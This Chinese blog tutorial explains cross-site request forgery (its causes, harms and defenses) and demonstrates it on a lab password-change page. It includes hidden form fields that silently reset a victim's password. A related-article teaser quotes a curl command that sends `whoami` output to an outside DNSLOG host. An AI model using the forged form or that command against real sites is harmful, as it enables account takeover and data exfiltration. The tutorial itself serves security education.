CSRF(Crosss Site Request Forgery,跨站请求伪造)是一种网络攻击方式,也被产称为“One Click Attack”或者Session Riding,通常缩写为CSRF或者XSRF.

CSRF漏洞是因为web应用程序在用户进行敏感操作时,如修改账号密码、添加账号、转账等,没有校验表单token或者http请求头中的referer值,从而导致恶意攻击者利用普通用户的身份(cookie)完成攻击行为。

从上图可以看出,要完成一次CSRF攻击,受害者必须依次完成两个步骤:  

1.登录受信任网站A,A网站给用户分配cookie,并在本地生成Cookie。  
2.在不登出A的情况下,访问危险网站B(同一个浏览器中)。
3.B通过用户的cookie,向A站发送了请求
4.而A站并没有验证请求的来源,而导致恶意请求成功。

CSRF漏洞产生的条件:

  1. 正常用户需要登录网站
  2. 攻击者需要知道站点请求内容(构造恶意请求)
  3. 需要正常用户在登录成功的浏览器中诱导点击恶意链接
  4. 服务器没有验证数据的来源

CSRF高危触发点:论坛交流、用户中心、反馈留言、交易管理、后台管理等一般一般都会造成隐私泄露。如果在交易管理功能的页面,存在着CSRF漏洞,可以进行一些类似转账或者是购买物品的操作时,那么用户的资产会存在安全隐患。如果实在后台管理的功能处存在CSRF,会威胁到网站本身的安全性。此外,**会导致受害人在不知情的情况下向论坛发帖子、订阅邮件列表、网购或股票交易,或变更用户名或口令。对受到防火墙保护的所有web应用程序而言,CSRF攻击都能绕过防火墙攻击web应用。

CSRF漏洞危害:

1、伪造HTTP请求进行未授权操作:篡改、盗取目标网站上的重要用户数据;未经允许执行对用户名誉或者资产有害的操作,比如:散播不良信息、进行消费等;如果通过使用社工等方式攻击网站管理员,会危害网站本身的安全性

2、作为其他攻击向量的辅助攻击手法,比如配合XSS

3、传播CSRF蠕虫

CSRF防御:

  1. Token验证

  2. Referer验证

  3. 增加验证码验证

CSRF演示过程:

首先开启我们CSRF(修改密码的环境)

1557561894139

然后设置代理

1557561929432

然后打开我们生成CSRF(POC)的软件,拦截修改密码的页面

1557563736990

拦截成功后点击下面的生成html的按钮,保存

1557563793090

然后添加如下代码,

1
2
3
<input type="hidden" name="password&#95;new" value="需要修改的密码" />
<input type="hidden" name="password&#95;conf" value="需要修改的密码" />
<input type="hidden" name="action" value="change" />

1557563924519

然后找一台服务器生成好的的页面,搭起来,

1557566615935

然后再去之前修改密码的浏览器去访问我们搭建的服务器的页面,就可以看到,页面跳转到修改密码的页面,并显示成功

1557564886965

然后用我们修改的密码去登录页面,登陆进去表示成功

1557564177756

相关文章
评论
分享
  • SSRF原理、操作演示及防御

    SSRF漏洞:SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由恶意访问者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF访问的目标是从外网无法访问的内部系统。(正是因为它是由服...

    SSRF原理、操作演示及防御
  • XSS的payload构造及变形

    通常进行XSS脚本攻击时,一般网站都是有防护措施的,比如过滤掉我们script,javascript,或者长度限制等等,这时需要我们对我们的脚本进 行简单的变形,打到我们的目的,下面是我对常见的一些变形的分类,以及部分操作演示1.使用...

    XSS的payload构造及变形
  • XSS漏洞利用和beef使用

    安装好的kail XSS漏洞环境(这里我用的是bWAPP,百度安装即可) 首先打开我们的kail,打开我们的beef工具: q切换到/usr/share/beef-xss或者输入如下代码启动: 1./beef 然后登陆...

    XSS漏洞利用和beef使用
  • 存储型xss-H5页面截取

    环境准备 一个有XSS漏洞的页面,或者搭建一个漏洞平台 注册一个线上的XSS漏洞测试平台(有能力可以自己搭) 1.首先我们需要搭建一个本地的漏洞测试平台,这里我用的事pikachu漏洞平台(https://github.com/...

    存储型xss-H5页面截取
  • 一句话木马及变形

    一句话木马变形 介绍:网站后门,也可以叫做WebShell,黑客在入侵了一个网站后,通常会将一些asp或php文件与网 站服务器WEB目录下正常的网页文件混在一起,使得可以通过使用浏览器来访问这些asp或者php 文件,从而得到一个命...

    一句话木马及变形
  • 文件包含漏洞和PHP伪协议

    文件包含的漏洞形成文件包含就是代码注入的典型代表,PHP的文件包含可以直接执行包含文件的代码,而且包含文件的格式是不受限制的,因此如果我们在包含文件中输入恶意代码,就会导致文件包含漏洞,文件包含漏洞大多可以直接利用获取webshel...

    文件包含漏洞和PHP伪协议
  • DNSLOG在盲注中的使用

    DNSLOG在盲注中的使用0x00 Command Execution i. *nix:12curl http://ip.port.b182oj.ceye.io/`whoami`ping `whoami`.ip.port.b182oj...

    DNSLOG在盲注中的使用
  • sql注入(二)

    报错注入、​ 报错函数(举例) ​ (1)extractvalue(参数1,参数2) ​ 从目标XML中返回查询的字符串,参数1 是string格式...

    sql注入(二)
  • sql注入(一)

    sql注入漏洞,主要介绍有以下几种 5.0mysql数据库特性 手工注入一般步骤 常用的万能密码 联和注入 基于布尔的盲注 基于时间的盲注 5.0mysql数据库特性information _schema 自带,系统库...

    sql注入(一)
  • msf浏览器自动攻击

    msf浏览器自动攻击 首先查看数据库状态 ,并启动数据库12/etc/init.d/postgresql status/etc/init.d/postgresql start 打开msf:1msfconsole 搜索我们需要的浏览器...

    msf浏览器自动攻击
Please check the comment setting in config.yml of hexo-theme-Annie!